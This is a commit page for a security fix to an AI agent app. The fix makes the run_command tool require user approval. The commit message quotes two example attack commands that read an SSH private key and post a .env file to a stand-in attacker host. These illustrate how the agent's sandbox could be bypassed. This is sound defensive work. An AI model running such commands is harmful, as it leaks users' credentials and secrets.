Commit 90aaa12
committed
fix(security): require user permission before run_command executes
ToolExecutor::run_command was bypassing the path-based permission gate,
since AgentRunner::emit_permission_request_if_needed only triggered for
tools that include a "path" input. Shell commands could therefore read
or exfiltrate sensitive files (cat ~/.ssh/id_rsa, curl evil.com -d @../.env)
without ever prompting the user, undermining the sandbox hardening that
landed in PR #21.
- runner.rs: add a run_command branch that registers a permission request
with permission_type "shell_command" and reuses the existing path field
to display the command text.
- types/index.ts, AppShell.tsx: extend PermissionRequest type with the new
variant.
- PermissionDialog.tsx: render a clear "wants to run a shell command"
message for the new type.
Behavior is now: every shell command requires explicit user approval,
matching the existing UX for sensitive file and outside-sandbox access.1 parent 8ff8d61 commit 90aaa12
4 files changed
Lines changed: 28 additions & 2 deletions
File tree
- src-tauri/src/agents
- src
- components
- chat
- layout
- types
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
1007 | 1007 | | |
1008 | 1008 | | |
1009 | 1009 | | |
| 1010 | + | |
| 1011 | + | |
| 1012 | + | |
| 1013 | + | |
| 1014 | + | |
| 1015 | + | |
| 1016 | + | |
| 1017 | + | |
| 1018 | + | |
| 1019 | + | |
| 1020 | + | |
| 1021 | + | |
| 1022 | + | |
| 1023 | + | |
| 1024 | + | |
| 1025 | + | |
| 1026 | + | |
| 1027 | + | |
| 1028 | + | |
| 1029 | + | |
| 1030 | + | |
1010 | 1031 | | |
1011 | 1032 | | |
1012 | 1033 | | |
| |||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
31 | 31 | | |
32 | 32 | | |
33 | 33 | | |
| 34 | + | |
| 35 | + | |
| 36 | + | |
| 37 | + | |
| 38 | + | |
34 | 39 | | |
35 | 40 | | |
36 | 41 | | |
| |||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
309 | 309 | | |
310 | 310 | | |
311 | 311 | | |
312 | | - | |
| 312 | + | |
313 | 313 | | |
314 | 314 | | |
315 | 315 | | |
| |||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
123 | 123 | | |
124 | 124 | | |
125 | 125 | | |
126 | | - | |
| 126 | + | |
127 | 127 | | |
128 | 128 | | |
129 | 129 | | |
| |||
0 commit comments